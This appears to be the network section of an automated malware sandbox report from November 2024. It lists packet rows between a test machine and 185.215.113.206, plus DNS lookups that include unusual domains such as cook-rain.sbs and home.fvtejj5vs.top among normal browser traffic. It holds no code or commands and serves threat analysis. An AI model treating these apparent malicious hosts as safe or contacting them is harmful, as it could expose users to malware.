Nov 18, 2024 21:04:24.380093098 CET	80	49845	185.215.113.206	192.168.2.4
Nov 18, 2024 21:04:24.380104065 CET	80	49845	185.215.113.206	192.168.2.4
Nov 18, 2024 21:04:24.380114079 CET	80	49845	185.215.113.206	192.168.2.4
Nov 18, 2024 21:04:24.380156040 CET	49845	80	192.168.2.4	185.215.113.206
Nov 18, 2024 21:04:24.380156994 CET	49845	80	192.168.2.4	185.215.113.206
Nov 18, 2024 21:04:24.380240917 CET	80	49845	185.215.113.206	192.168.2.4
Nov 18, 2024 21:04:24.380290985 CET	49845	80	192.168.2.4	185.215.113.206
Nov 18, 2024 21:04:24.380829096 CET	80	49845	185.215.113.206	192.168.2.4
Nov 18, 2024 21:04:24.380878925 CET	49845	80	192.168.2.4	185.215.113.206
Nov 18, 2024 21:04:24.381063938 CET	80	49845	185.215.113.206	192.168.2.4
Nov 18, 2024 21:04:24.381077051 CET	80	49845	185.215.113.206	192.168.2.4
Nov 18, 2024 21:04:24.381113052 CET	49845	80	192.168.2.4	185.215.113.206
Nov 18, 2024 21:04:24.381144047 CET	49845	80	192.168.2.4	185.215.113.206
Nov 18, 2024 21:04:24.381160975 CET	80	49845	185.215.113.206	192.168.2.4
Nov 18, 2024 21:04:24.381172895 CET	80	49845	185.215.113.206	192.168.2.4
Nov 18, 2024 21:04:24.381181955 CET	80	49845	185.215.113.206	192.168.2.4
Nov 18, 2024 21:04:24.381200075 CET	80	49845	185.215.113.206	192.168.2.4
Nov 18, 2024 21:04:24.381217957 CET	49845	80	192.168.2.4	185.215.113.206
Nov 18, 2024 21:04:24.381217957 CET	49845	80	192.168.2.4	185.215.113.206
Nov 18, 2024 21:04:24.381247997 CET	49845	80	192.168.2.4	185.215.113.206
Nov 18, 2024 21:04:24.381419897 CET	80	49845	185.215.113.206	192.168.2.4
Nov 18, 2024 21:04:24.381433010 CET	80	49845	185.215.113.206	192.168.2.4
Nov 18, 2024 21:04:24.381472111 CET	49845	80	192.168.2.4	185.215.113.206
Nov 18, 2024 21:04:24.381501913 CET	49845	80	192.168.2.4	185.215.113.206
Nov 18, 2024 21:04:24.382044077 CET	80	49845	185.215.113.206	192.168.2.4
Nov 18, 2024 21:04:24.382112980 CET	80	49845	185.215.113.206	192.168.2.4
Nov 18, 2024 21:04:24.382124901 CET	80	49845	185.215.113.206	192.168.2.4
Nov 18, 2024 21:04:24.382132053 CET	49845	80	192.168.2.4	185.215.113.206
Nov 18, 2024 21:04:24.382152081 CET	49845	80	192.168.2.4	185.215.113.206
Nov 18, 2024 21:04:24.382180929 CET	49845	80	192.168.2.4	185.215.113.206
Nov 18, 2024 21:04:24.382235050 CET	80	49845	185.215.113.206	192.168.2.4
Nov 18, 2024 21:04:24.382246017 CET	80	49845	185.215.113.206	192.168.2.4
Nov 18, 2024 21:04:24.382256985 CET	80	49845	185.215.113.206	192.168.2.4
Nov 18, 2024 21:04:24.382287979 CET	49845	80	192.168.2.4	185.215.113.206
Nov 18, 2024 21:04:24.382318974 CET	49845	80	192.168.2.4	185.215.113.206
Nov 18, 2024 21:04:24.382885933 CET	80	49845	185.215.113.206	192.168.2.4
Nov 18, 2024 21:04:24.382949114 CET	49845	80	192.168.2.4	185.215.113.206
Nov 18, 2024 21:04:24.382951021 CET	80	49845	185.215.113.206	192.168.2.4
Nov 18, 2024 21:04:24.382963896 CET	80	49845	185.215.113.206	192.168.2.4
Nov 18, 2024 21:04:24.383055925 CET	49845	80	192.168.2.4	185.215.113.206
Nov 18, 2024 21:04:24.383070946 CET	80	49845	185.215.113.206	192.168.2.4
Nov 18, 2024 21:04:24.383081913 CET	80	49845	185.215.113.206	192.168.2.4
Nov 18, 2024 21:04:24.383093119 CET	80	49845	185.215.113.206	192.168.2.4
Nov 18, 2024 21:04:24.383105040 CET	80	49845	185.215.113.206	192.168.2.4
Nov 18, 2024 21:04:24.383126020 CET	49845	80	192.168.2.4	185.215.113.206
Nov 18, 2024 21:04:24.383153915 CET	49845	80	192.168.2.4	185.215.113.206
Nov 18, 2024 21:04:24.383821011 CET	80	49845	185.215.113.206	192.168.2.4
Nov 18, 2024 21:04:24.383872032 CET	49845	80	192.168.2.4	185.215.113.206
Nov 18, 2024 21:04:24.383900881 CET	80	49845	185.215.113.206	192.168.2.4
Nov 18, 2024 21:04:24.383915901 CET	80	49845	185.215.113.206	192.168.2.4
Nov 18, 2024 21:04:24.383971930 CET	49845	80	192.168.2.4	185.215.113.206
Nov 18, 2024 21:04:24.384005070 CET	80	49845	185.215.113.206	192.168.2.4
Nov 18, 2024 21:04:24.384016037 CET	80	49845	185.215.113.206	192.168.2.4
Nov 18, 2024 21:04:24.384027958 CET	80	49845	185.215.113.206	192.168.2.4
Nov 18, 2024 21:04:24.384074926 CET	49845	80	192.168.2.4	185.215.113.206
Nov 18, 2024 21:04:24.384253979 CET	80	49845	185.215.113.206	192.168.2.4
Nov 18, 2024 21:04:24.384305000 CET	49845	80	192.168.2.4	185.215.113.206
Nov 18, 2024 21:04:24.384675026 CET	80	49845	185.215.113.206	192.168.2.4
Nov 18, 2024 21:04:24.384756088 CET	49845	80	192.168.2.4	185.215.113.206
Nov 18, 2024 21:04:24.530261040 CET	80	49845	185.215.113.206	192.168.2.4
Nov 18, 2024 21:04:24.530309916 CET	80	49845	185.215.113.206	192.168.2.4
Nov 18, 2024 21:04:24.530319929 CET	80	49845	185.215.113.206	192.168.2.4
Nov 18, 2024 21:04:24.530397892 CET	49845	80	192.168.2.4	185.215.113.206
Nov 18, 2024 21:04:24.530430079 CET	80	49845	185.215.113.206	192.168.2.4
Nov 18, 2024 21:04:24.530455112 CET	49845	80	192.168.2.4	185.215.113.206
Nov 18, 2024 21:04:24.530495882 CET	80	49845	185.215.113.206	192.168.2.4
Nov 18, 2024 21:04:24.530508995 CET	80	49845	185.215.113.206	192.168.2.4
Nov 18, 2024 21:04:24.530533075 CET	49845	80	192.168.2.4	185.215.113.206
Nov 18, 2024 21:04:24.530569077 CET	49845	80	192.168.2.4	185.215.113.206
Nov 18, 2024 21:04:24.530597925 CET	80	49845	185.215.113.206	192.168.2.4
Nov 18, 2024 21:04:24.530610085 CET	80	49845	185.215.113.206	192.168.2.4
Nov 18, 2024 21:04:24.530643940 CET	49845	80	192.168.2.4	185.215.113.206
Nov 18, 2024 21:04:24.530689955 CET	80	49845	185.215.113.206	192.168.2.4
Nov 18, 2024 21:04:24.530728102 CET	49845	80	192.168.2.4	185.215.113.206
Nov 18, 2024 21:04:24.530757904 CET	80	49845	185.215.113.206	192.168.2.4
Nov 18, 2024 21:04:24.530769110 CET	80	49845	185.215.113.206	192.168.2.4
Nov 18, 2024 21:04:24.530814886 CET	49845	80	192.168.2.4	185.215.113.206
Nov 18, 2024 21:04:24.530917883 CET	80	49845	185.215.113.206	192.168.2.4
Nov 18, 2024 21:04:24.530930042 CET	80	49845	185.215.113.206	192.168.2.4
Nov 18, 2024 21:04:24.530941010 CET	80	49845	185.215.113.206	192.168.2.4
Nov 18, 2024 21:04:24.530970097 CET	49845	80	192.168.2.4	185.215.113.206
Nov 18, 2024 21:04:24.530997992 CET	49845	80	192.168.2.4	185.215.113.206
Nov 18, 2024 21:04:24.532299995 CET	80	49845	185.215.113.206	192.168.2.4
Nov 18, 2024 21:04:24.532319069 CET	80	49845	185.215.113.206	192.168.2.4
Nov 18, 2024 21:04:24.532330036 CET	80	49845	185.215.113.206	192.168.2.4
Nov 18, 2024 21:04:24.532347918 CET	80	49845	185.215.113.206	192.168.2.4
Nov 18, 2024 21:04:24.532351017 CET	49845	80	192.168.2.4	185.215.113.206
Nov 18, 2024 21:04:24.532357931 CET	49845	80	192.168.2.4	185.215.113.206
Nov 18, 2024 21:04:24.532363892 CET	80	49845	185.215.113.206	192.168.2.4
Nov 18, 2024 21:04:24.532376051 CET	80	49845	185.215.113.206	192.168.2.4
Nov 18, 2024 21:04:24.532387018 CET	49845	80	192.168.2.4	185.215.113.206
Nov 18, 2024 21:04:24.532387972 CET	80	49845	185.215.113.206	192.168.2.4
Nov 18, 2024 21:04:24.532401085 CET	80	49845	185.215.113.206	192.168.2.4
Nov 18, 2024 21:04:24.532409906 CET	49845	80	192.168.2.4	185.215.113.206
Nov 18, 2024 21:04:24.532413006 CET	80	49845	185.215.113.206	192.168.2.4
Nov 18, 2024 21:04:24.532438040 CET	49845	80	192.168.2.4	185.215.113.206
Nov 18, 2024 21:04:24.532458067 CET	49845	80	192.168.2.4	185.215.113.206
Nov 18, 2024 21:04:24.532460928 CET	80	49845	185.215.113.206	192.168.2.4
Nov 18, 2024 21:04:24.532475948 CET	80	49845	185.215.113.206	192.168.2.4
Nov 18, 2024 21:04:24.532485962 CET	80	49845	185.215.113.206	192.168.2.4
Nov 18, 2024 21:04:24.532500029 CET	49845	80	192.168.2.4	185.215.113.206
Nov 18, 2024 21:04:24.532510996 CET	80	49845	185.215.113.206	192.168.2.4
Nov 18, 2024 21:04:24.532515049 CET	49845	80	192.168.2.4	185.215.113.206
Nov 18, 2024 21:04:24.532521963 CET	80	49845	185.215.113.206	192.168.2.4
Nov 18, 2024 21:04:24.532527924 CET	49845	80	192.168.2.4	185.215.113.206
Nov 18, 2024 21:04:24.532533884 CET	80	49845	185.215.113.206	192.168.2.4
Nov 18, 2024 21:04:24.532545090 CET	80	49845	185.215.113.206	192.168.2.4
Nov 18, 2024 21:04:24.532555103 CET	49845	80	192.168.2.4	185.215.113.206
Nov 18, 2024 21:04:24.532555103 CET	49845	80	192.168.2.4	185.215.113.206
Nov 18, 2024 21:04:24.532560110 CET	80	49845	185.215.113.206	192.168.2.4
Nov 18, 2024 21:04:24.532572031 CET	80	49845	185.215.113.206	192.168.2.4
Nov 18, 2024 21:04:24.532572031 CET	49845	80	192.168.2.4	185.215.113.206
Nov 18, 2024 21:04:24.532583952 CET	80	49845	185.215.113.206	192.168.2.4
Nov 18, 2024 21:04:24.532594919 CET	49845	80	192.168.2.4	185.215.113.206
Nov 18, 2024 21:04:24.532596111 CET	80	49845	185.215.113.206	192.168.2.4
Nov 18, 2024 21:04:24.532618999 CET	49845	80	192.168.2.4	185.215.113.206
Nov 18, 2024 21:04:24.532638073 CET	80	49845	185.215.113.206	192.168.2.4
Nov 18, 2024 21:04:24.532640934 CET	49845	80	192.168.2.4	185.215.113.206
Nov 18, 2024 21:04:24.532649994 CET	80	49845	185.215.113.206	192.168.2.4
Nov 18, 2024 21:04:24.532670021 CET	49845	80	192.168.2.4	185.215.113.206
Nov 18, 2024 21:04:24.532685041 CET	49845	80	192.168.2.4	185.215.113.206
Nov 18, 2024 21:04:24.532807112 CET	80	49845	185.215.113.206	192.168.2.4
Nov 18, 2024 21:04:24.532818079 CET	80	49845	185.215.113.206	192.168.2.4
Nov 18, 2024 21:04:24.532828093 CET	80	49845	185.215.113.206	192.168.2.4
Nov 18, 2024 21:04:24.532841921 CET	80	49845	185.215.113.206	192.168.2.4
Nov 18, 2024 21:04:24.532864094 CET	49845	80	192.168.2.4	185.215.113.206
Nov 18, 2024 21:04:24.532881975 CET	49845	80	192.168.2.4	185.215.113.206
Nov 18, 2024 21:04:24.533027887 CET	80	49845	185.215.113.206	192.168.2.4
Nov 18, 2024 21:04:24.533039093 CET	80	49845	185.215.113.206	192.168.2.4
Nov 18, 2024 21:04:24.533050060 CET	80	49845	185.215.113.206	192.168.2.4
Nov 18, 2024 21:04:24.533093929 CET	49845	80	192.168.2.4	185.215.113.206
Nov 18, 2024 21:04:24.533370018 CET	80	49845	185.215.113.206	192.168.2.4
Nov 18, 2024 21:04:24.533425093 CET	49845	80	192.168.2.4	185.215.113.206
Nov 18, 2024 21:04:24.533440113 CET	80	49845	185.215.113.206	192.168.2.4
Nov 18, 2024 21:04:24.533452034 CET	80	49845	185.215.113.206	192.168.2.4
Nov 18, 2024 21:04:24.533498049 CET	49845	80	192.168.2.4	185.215.113.206
Nov 18, 2024 21:04:24.533596992 CET	80	49845	185.215.113.206	192.168.2.4
Nov 18, 2024 21:04:24.533607960 CET	80	49845	185.215.113.206	192.168.2.4
Nov 18, 2024 21:04:24.533621073 CET	80	49845	185.215.113.206	192.168.2.4
Nov 18, 2024 21:04:24.533633947 CET	80	49845	185.215.113.206	192.168.2.4
Nov 18, 2024 21:04:24.533655882 CET	49845	80	192.168.2.4	185.215.113.206
Nov 18, 2024 21:04:24.533680916 CET	49845	80	192.168.2.4	185.215.113.206
Nov 18, 2024 21:04:24.533798933 CET	80	49845	185.215.113.206	192.168.2.4
Nov 18, 2024 21:04:24.533898115 CET	80	49845	185.215.113.206	192.168.2.4
Nov 18, 2024 21:04:24.533901930 CET	49845	80	192.168.2.4	185.215.113.206
Nov 18, 2024 21:04:24.533909082 CET	80	49845	185.215.113.206	192.168.2.4
Nov 18, 2024 21:04:24.533920050 CET	80	49845	185.215.113.206	192.168.2.4
Nov 18, 2024 21:04:24.533931971 CET	80	49845	185.215.113.206	192.168.2.4
Nov 18, 2024 21:04:24.533952951 CET	49845	80	192.168.2.4	185.215.113.206
Nov 18, 2024 21:04:24.533976078 CET	49845	80	192.168.2.4	185.215.113.206
Nov 18, 2024 21:04:24.534455061 CET	80	49845	185.215.113.206	192.168.2.4
Nov 18, 2024 21:04:24.534495115 CET	49845	80	192.168.2.4	185.215.113.206
Nov 18, 2024 21:04:24.534626007 CET	80	49845	185.215.113.206	192.168.2.4
Nov 18, 2024 21:04:24.534637928 CET	80	49845	185.215.113.206	192.168.2.4
Nov 18, 2024 21:04:24.534672976 CET	49845	80	192.168.2.4	185.215.113.206
Nov 18, 2024 21:04:24.534713984 CET	80	49845	185.215.113.206	192.168.2.4
Nov 18, 2024 21:04:24.534724951 CET	80	49845	185.215.113.206	192.168.2.4
Nov 18, 2024 21:04:24.534735918 CET	80	49845	185.215.113.206	192.168.2.4
Nov 18, 2024 21:04:24.534768105 CET	49845	80	192.168.2.4	185.215.113.206
Nov 18, 2024 21:04:24.534931898 CET	80	49845	185.215.113.206	192.168.2.4
Nov 18, 2024 21:04:24.534949064 CET	80	49845	185.215.113.206	192.168.2.4
Nov 18, 2024 21:04:24.534960032 CET	80	49845	185.215.113.206	192.168.2.4
Nov 18, 2024 21:04:24.534971952 CET	80	49845	185.215.113.206	192.168.2.4
Nov 18, 2024 21:04:24.534996986 CET	49845	80	192.168.2.4	185.215.113.206
Nov 18, 2024 21:04:24.535016060 CET	49845	80	192.168.2.4	185.215.113.206
Nov 18, 2024 21:04:24.535142899 CET	80	49845	185.215.113.206	192.168.2.4
Nov 18, 2024 21:04:24.535154104 CET	80	49845	185.215.113.206	192.168.2.4
Nov 18, 2024 21:04:24.535156012 CET	443	49869	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:24.535207987 CET	49845	80	192.168.2.4	185.215.113.206
Nov 18, 2024 21:04:24.535356998 CET	80	49845	185.215.113.206	192.168.2.4
Nov 18, 2024 21:04:24.535398960 CET	80	49845	185.215.113.206	192.168.2.4
Nov 18, 2024 21:04:24.535408974 CET	80	49845	185.215.113.206	192.168.2.4
Nov 18, 2024 21:04:24.535448074 CET	49845	80	192.168.2.4	185.215.113.206
Nov 18, 2024 21:04:24.535537004 CET	80	49845	185.215.113.206	192.168.2.4
Nov 18, 2024 21:04:24.535547972 CET	80	49845	185.215.113.206	192.168.2.4
Nov 18, 2024 21:04:24.535558939 CET	80	49845	185.215.113.206	192.168.2.4
Nov 18, 2024 21:04:24.535571098 CET	80	49845	185.215.113.206	192.168.2.4
Nov 18, 2024 21:04:24.535595894 CET	49845	80	192.168.2.4	185.215.113.206
Nov 18, 2024 21:04:24.535607100 CET	49845	80	192.168.2.4	185.215.113.206
Nov 18, 2024 21:04:24.535676003 CET	80	49845	185.215.113.206	192.168.2.4
Nov 18, 2024 21:04:24.535763025 CET	80	49845	185.215.113.206	192.168.2.4
Nov 18, 2024 21:04:24.535765886 CET	49869	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:24.535773993 CET	49845	80	192.168.2.4	185.215.113.206
Nov 18, 2024 21:04:24.535774946 CET	80	49845	185.215.113.206	192.168.2.4
Nov 18, 2024 21:04:24.535785913 CET	80	49845	185.215.113.206	192.168.2.4
Nov 18, 2024 21:04:24.535790920 CET	443	49869	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:24.535798073 CET	80	49845	185.215.113.206	192.168.2.4
Nov 18, 2024 21:04:24.535826921 CET	49845	80	192.168.2.4	185.215.113.206
Nov 18, 2024 21:04:24.535845995 CET	49845	80	192.168.2.4	185.215.113.206
Nov 18, 2024 21:04:24.536206007 CET	49869	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:24.536217928 CET	443	49869	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:24.536298990 CET	80	49845	185.215.113.206	192.168.2.4
Nov 18, 2024 21:04:24.536333084 CET	80	49845	185.215.113.206	192.168.2.4
Nov 18, 2024 21:04:24.536344051 CET	80	49845	185.215.113.206	192.168.2.4
Nov 18, 2024 21:04:24.536344051 CET	49845	80	192.168.2.4	185.215.113.206
Nov 18, 2024 21:04:24.536377907 CET	49845	80	192.168.2.4	185.215.113.206
Nov 18, 2024 21:04:24.536489964 CET	80	49845	185.215.113.206	192.168.2.4
Nov 18, 2024 21:04:24.536500931 CET	80	49845	185.215.113.206	192.168.2.4
Nov 18, 2024 21:04:24.536510944 CET	80	49845	185.215.113.206	192.168.2.4
Nov 18, 2024 21:04:24.536523104 CET	80	49845	185.215.113.206	192.168.2.4
Nov 18, 2024 21:04:24.536534071 CET	49845	80	192.168.2.4	185.215.113.206
Nov 18, 2024 21:04:24.536545992 CET	49845	80	192.168.2.4	185.215.113.206
Nov 18, 2024 21:04:24.536572933 CET	49845	80	192.168.2.4	185.215.113.206
Nov 18, 2024 21:04:24.536720037 CET	80	49845	185.215.113.206	192.168.2.4
Nov 18, 2024 21:04:24.536731005 CET	80	49845	185.215.113.206	192.168.2.4
Nov 18, 2024 21:04:24.536741972 CET	80	49845	185.215.113.206	192.168.2.4
Nov 18, 2024 21:04:24.536753893 CET	80	49845	185.215.113.206	192.168.2.4
Nov 18, 2024 21:04:24.536763906 CET	49845	80	192.168.2.4	185.215.113.206
Nov 18, 2024 21:04:24.536766052 CET	80	49845	185.215.113.206	192.168.2.4
Nov 18, 2024 21:04:24.536789894 CET	49845	80	192.168.2.4	185.215.113.206
Nov 18, 2024 21:04:24.536801100 CET	49845	80	192.168.2.4	185.215.113.206
Nov 18, 2024 21:04:24.569411993 CET	49875	443	192.168.2.4	188.114.96.3
Nov 18, 2024 21:04:24.569443941 CET	443	49875	188.114.96.3	192.168.2.4
Nov 18, 2024 21:04:24.569675922 CET	49875	443	192.168.2.4	188.114.96.3
Nov 18, 2024 21:04:24.570930004 CET	49875	443	192.168.2.4	188.114.96.3
Nov 18, 2024 21:04:24.570945978 CET	443	49875	188.114.96.3	192.168.2.4
Nov 18, 2024 21:04:24.693727970 CET	443	49869	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:24.693788052 CET	443	49869	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:24.693856955 CET	49869	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:24.694087029 CET	49869	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:24.694127083 CET	443	49869	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:24.694155931 CET	49869	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:24.694170952 CET	443	49869	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:24.697196960 CET	49876	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:24.697242022 CET	443	49876	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:24.697319031 CET	49876	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:24.697457075 CET	49876	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:24.697487116 CET	443	49876	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:24.699059010 CET	80	49845	185.215.113.206	192.168.2.4
Nov 18, 2024 21:04:24.699116945 CET	80	49845	185.215.113.206	192.168.2.4
Nov 18, 2024 21:04:24.699116945 CET	49845	80	192.168.2.4	185.215.113.206
Nov 18, 2024 21:04:24.699127913 CET	80	49845	185.215.113.206	192.168.2.4
Nov 18, 2024 21:04:24.699140072 CET	80	49845	185.215.113.206	192.168.2.4
Nov 18, 2024 21:04:24.699157953 CET	49845	80	192.168.2.4	185.215.113.206
Nov 18, 2024 21:04:24.699182034 CET	49845	80	192.168.2.4	185.215.113.206
Nov 18, 2024 21:04:24.699276924 CET	80	49845	185.215.113.206	192.168.2.4
Nov 18, 2024 21:04:24.699287891 CET	80	49845	185.215.113.206	192.168.2.4
Nov 18, 2024 21:04:24.699300051 CET	80	49845	185.215.113.206	192.168.2.4
Nov 18, 2024 21:04:24.699316978 CET	80	49845	185.215.113.206	192.168.2.4

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Nov 18, 2024 21:04:12.626589060 CET	192.168.2.4	1.1.1.1	0x1c40	Standard query (0)	cook-rain.sbs	A (IP address)	IN (0x0001)	false
Nov 18, 2024 21:04:26.647289991 CET	192.168.2.4	1.1.1.1	0xf216	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Nov 18, 2024 21:04:26.647432089 CET	192.168.2.4	1.1.1.1	0xde95	Standard query (0)	www.google.com	65	IN (0x0001)	false
Nov 18, 2024 21:04:33.942806959 CET	192.168.2.4	1.1.1.1	0x8f89	Standard query (0)	prod.classify-client.prod.webservices.mozgcp.net	A (IP address)	IN (0x0001)	false
Nov 18, 2024 21:04:33.955579042 CET	192.168.2.4	1.1.1.1	0x83a6	Standard query (0)	prod.classify-client.prod.webservices.mozgcp.net	28	IN (0x0001)	false
Nov 18, 2024 21:04:35.405457973 CET	192.168.2.4	1.1.1.1	0xf6f7	Standard query (0)	youtube.com	A (IP address)	IN (0x0001)	false
Nov 18, 2024 21:04:35.408469915 CET	192.168.2.4	1.1.1.1	0x82c3	Standard query (0)	detectportal.firefox.com	A (IP address)	IN (0x0001)	false
Nov 18, 2024 21:04:35.438734055 CET	192.168.2.4	1.1.1.1	0xdd9b	Standard query (0)	youtube.com	A (IP address)	IN (0x0001)	false
Nov 18, 2024 21:04:35.447480917 CET	192.168.2.4	1.1.1.1	0x33d3	Standard query (0)	prod.detectportal.prod.cloudops.mozgcp.net	A (IP address)	IN (0x0001)	false
Nov 18, 2024 21:04:35.452613115 CET	192.168.2.4	1.1.1.1	0x777	Standard query (0)	youtube.com	28	IN (0x0001)	false
Nov 18, 2024 21:04:35.470174074 CET	192.168.2.4	1.1.1.1	0x2366	Standard query (0)	prod.detectportal.prod.cloudops.mozgcp.net	28	IN (0x0001)	false
Nov 18, 2024 21:04:37.483899117 CET	192.168.2.4	1.1.1.1	0x381d	Standard query (0)	contile.services.mozilla.com	A (IP address)	IN (0x0001)	false
Nov 18, 2024 21:04:37.484529972 CET	192.168.2.4	1.1.1.1	0x3779	Standard query (0)	example.org	A (IP address)	IN (0x0001)	false
Nov 18, 2024 21:04:37.490326881 CET	192.168.2.4	1.1.1.1	0xb3b0	Standard query (0)	ipv4only.arpa	A (IP address)	IN (0x0001)	false
Nov 18, 2024 21:04:37.498768091 CET	192.168.2.4	1.1.1.1	0x844c	Standard query (0)	spocs.getpocket.com	A (IP address)	IN (0x0001)	false
Nov 18, 2024 21:04:37.503741026 CET	192.168.2.4	1.1.1.1	0xb2df	Standard query (0)	contile.services.mozilla.com	A (IP address)	IN (0x0001)	false
Nov 18, 2024 21:04:37.511591911 CET	192.168.2.4	1.1.1.1	0xa3d1	Standard query (0)	detectportal.firefox.com	A (IP address)	IN (0x0001)	false
Nov 18, 2024 21:04:37.512046099 CET	192.168.2.4	1.1.1.1	0xb5cd	Standard query (0)	contile.services.mozilla.com	28	IN (0x0001)	false
Nov 18, 2024 21:04:37.514892101 CET	192.168.2.4	1.1.1.1	0x5f69	Standard query (0)	prod.balrog.prod.cloudops.mozgcp.net	A (IP address)	IN (0x0001)	false
Nov 18, 2024 21:04:37.515053988 CET	192.168.2.4	1.1.1.1	0xa9b8	Standard query (0)	prod.ads.prod.webservices.mozgcp.net	A (IP address)	IN (0x0001)	false
Nov 18, 2024 21:04:37.536773920 CET	192.168.2.4	1.1.1.1	0x729a	Standard query (0)	prod.ads.prod.webservices.mozgcp.net	28	IN (0x0001)	false
Nov 18, 2024 21:04:37.537266970 CET	192.168.2.4	1.1.1.1	0xabf6	Standard query (0)	prod.balrog.prod.cloudops.mozgcp.net	28	IN (0x0001)	false
Nov 18, 2024 21:04:38.315567017 CET	192.168.2.4	1.1.1.1	0x6f3b	Standard query (0)	home.fvtejj5vs.top	A (IP address)	IN (0x0001)	false
Nov 18, 2024 21:04:38.315634966 CET	192.168.2.4	1.1.1.1	0x99e8	Standard query (0)	home.fvtejj5vs.top	28	IN (0x0001)	false
Nov 18, 2024 21:04:55.456094027 CET	192.168.2.4	1.1.1.1	0x2f8a	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Nov 18, 2024 21:04:55.456244946 CET	192.168.2.4	1.1.1.1	0x653d	Standard query (0)	www.google.com	65	IN (0x0001)	false
Nov 18, 2024 21:04:57.883847952 CET	192.168.2.4	1.1.1.1	0x8b4e	Standard query (0)	js.monitor.azure.com	A (IP address)	IN (0x0001)	false
Nov 18, 2024 21:04:57.884025097 CET	192.168.2.4	1.1.1.1	0x1beb	Standard query (0)	js.monitor.azure.com	65	IN (0x0001)	false
Nov 18, 2024 21:05:01.524691105 CET	192.168.2.4	1.1.1.1	0xe092	Standard query (0)	prod.classify-client.prod.webservices.mozgcp.net	28	IN (0x0001)	false
Nov 18, 2024 21:05:01.967046976 CET	192.168.2.4	1.1.1.1	0x3d0c	Standard query (0)	contile.services.mozilla.com	28	IN (0x0001)	false
Nov 18, 2024 21:05:01.992685080 CET	192.168.2.4	1.1.1.1	0x21d3	Standard query (0)	prod.balrog.prod.cloudops.mozgcp.net	A (IP address)	IN (0x0001)	false
Nov 18, 2024 21:05:01.993644953 CET	192.168.2.4	1.1.1.1	0x2c4c	Standard query (0)	prod.ads.prod.webservices.mozgcp.net	28	IN (0x0001)	false
Nov 18, 2024 21:05:02.009207964 CET	192.168.2.4	1.1.1.1	0xdfa6	Standard query (0)	prod.balrog.prod.cloudops.mozgcp.net	28	IN (0x0001)	false
Nov 18, 2024 21:05:02.013731003 CET	192.168.2.4	1.1.1.1	0xfe59	Standard query (0)	content-signature-2.cdn.mozilla.net	A (IP address)	IN (0x0001)	false
Nov 18, 2024 21:05:02.030083895 CET	192.168.2.4	1.1.1.1	0x5b44	Standard query (0)	prod.content-signature-chains.prod.webservices.mozgcp.net	A (IP address)	IN (0x0001)	false
Nov 18, 2024 21:05:02.051768064 CET	192.168.2.4	1.1.1.1	0x2d8d	Standard query (0)	prod.content-signature-chains.prod.webservices.mozgcp.net	28	IN (0x0001)	false
Nov 18, 2024 21:05:02.076338053 CET	192.168.2.4	1.1.1.1	0xa03d	Standard query (0)	shavar.services.mozilla.com	A (IP address)	IN (0x0001)	false
Nov 18, 2024 21:05:02.183142900 CET	192.168.2.4	1.1.1.1	0x72ef	Standard query (0)	push.services.mozilla.com	A (IP address)	IN (0x0001)	false
Nov 18, 2024 21:05:02.209301949 CET	192.168.2.4	1.1.1.1	0x3315	Standard query (0)	push.services.mozilla.com	A (IP address)	IN (0x0001)	false
Nov 18, 2024 21:05:02.229322910 CET	192.168.2.4	1.1.1.1	0xd811	Standard query (0)	push.services.mozilla.com	28	IN (0x0001)	false
Nov 18, 2024 21:05:02.388886929 CET	192.168.2.4	1.1.1.1	0x1444	Standard query (0)	firefox.settings.services.mozilla.com	A (IP address)	IN (0x0001)	false
Nov 18, 2024 21:05:02.556762934 CET	192.168.2.4	1.1.1.1	0x64e	Standard query (0)	prod.remote-settings.prod.webservices.mozgcp.net	A (IP address)	IN (0x0001)	false
Nov 18, 2024 21:05:02.576416016 CET	192.168.2.4	1.1.1.1	0x623f	Standard query (0)	prod.remote-settings.prod.webservices.mozgcp.net	28	IN (0x0001)	false
Nov 18, 2024 21:05:03.544076920 CET	192.168.2.4	1.1.1.1	0x3ccd	Standard query (0)	telemetry-incoming.r53-2.services.mozilla.com	A (IP address)	IN (0x0001)	false
Nov 18, 2024 21:05:03.556164980 CET	192.168.2.4	1.1.1.1	0xabb0	Standard query (0)	telemetry-incoming.r53-2.services.mozilla.com	28	IN (0x0001)	false
Nov 18, 2024 21:05:04.127509117 CET	192.168.2.4	1.1.1.1	0x9511	Standard query (0)	js.monitor.azure.com	A (IP address)	IN (0x0001)	false
Nov 18, 2024 21:05:04.127649069 CET	192.168.2.4	1.1.1.1	0xe97a	Standard query (0)	js.monitor.azure.com	65	IN (0x0001)	false
Nov 18, 2024 21:05:05.909427881 CET	192.168.2.4	1.1.1.1	0x908d	Standard query (0)	support.mozilla.org	A (IP address)	IN (0x0001)	false
Nov 18, 2024 21:05:05.917355061 CET	192.168.2.4	1.1.1.1	0x5859	Standard query (0)	us-west1.prod.sumo.prod.webservices.mozgcp.net	A (IP address)	IN (0x0001)	false
Nov 18, 2024 21:05:05.930860996 CET	192.168.2.4	1.1.1.1	0x8ca	Standard query (0)	us-west1.prod.sumo.prod.webservices.mozgcp.net	28	IN (0x0001)	false
Nov 18, 2024 21:05:07.064408064 CET	192.168.2.4	1.1.1.1	0xd3a4	Standard query (0)	www.youtube.com	A (IP address)	IN (0x0001)	false
Nov 18, 2024 21:05:07.064999104 CET	192.168.2.4	1.1.1.1	0x77e7	Standard query (0)	www.wikipedia.org	A (IP address)	IN (0x0001)	false
